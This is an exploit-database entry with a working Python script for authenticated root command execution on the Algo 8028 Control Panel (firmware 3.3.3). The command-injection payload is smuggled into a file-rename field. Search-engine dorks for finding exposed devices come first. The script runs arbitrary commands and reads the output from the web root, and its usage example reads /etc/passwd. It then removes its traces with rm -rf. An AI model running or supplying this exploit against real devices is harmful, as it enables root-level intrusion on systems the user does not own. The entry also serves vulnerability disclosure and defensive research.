Algo 8028 Control Panel – Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated) # Google Dork: intitle:"Algo 8028 Control Panel" # Shodan: title:"Algo 8028 Control Panel" # Date: 2022-06-07 # Exploit Author: Filip Carlsson # Vendor Homepage: https://www.algosolutions.com/ # Software Link: https://www.algosolutions.com/firmware-downloads/8028-firmware-selection/ # Version: 3.3.3 # Tested on: Version 3.3.3 # CVE : N/A # Exploit: # Due to bad sanitation in http://<IP:PORT>/control/fm-data.lua you can do command injection as root # Request: POST # Formdata: # action: rename # source: /a";echo $(id) 2>&1 > /opt/algo/web/root/cmd.txt;" # target: / #!/usr/bin/env python3 import sys import requests cookie=None def main(): # check if provided 3 args if len(sys.argv) != 4: print_help() return else: host = sys.argv[1] password = sys.argv[2] command = sys.argv[3] if login(host, password): # if login was successful, send command send_command(host, command) def print_help(): print("Usage: algo.py 192.168.1.123 password command") print("Example: algo.py 192.168.123 algo \"cat /etc/passwd\"") def login(host, password): url = f"http://{host}/index.lua" data = {"pwd": password} res = requests.post(url, data=data) # check if html contains "Invalid Password" if "Invalid Password" in res.text: print("Invalid password") return False else: # save cookie global cookie cookie = res.cookies print("Successfully logged in\n") return True def send_command(host, command): url = f"http://{host}/control/fm-data.lua" data = {"action": "rename", "source": f"/a\";echo $({command}) 2>&1 > /opt/algo/web/root/a.txt;\"", "target": "/"} res = requests.post(url, data=data, cookies=cookie) # get http://host/cmd.txt url = f"http://{host}/a.txt" res = requests.get(url) # if "404 Not Found" in text then command was not executed if "404 Not Found" in res.text: print("Command was not executed (404)") else: print(res.text) # delete cmd.txt url = f"http://{host}/control/fm-data.lua" data = {"action": "rename", "source": f"/a\";$(rm -rf /opt/algo/web/root/a.txt);\"", "target": "/"} requests.post(url, data=data, cookies=cookie) if __name__ == "__main__": main() |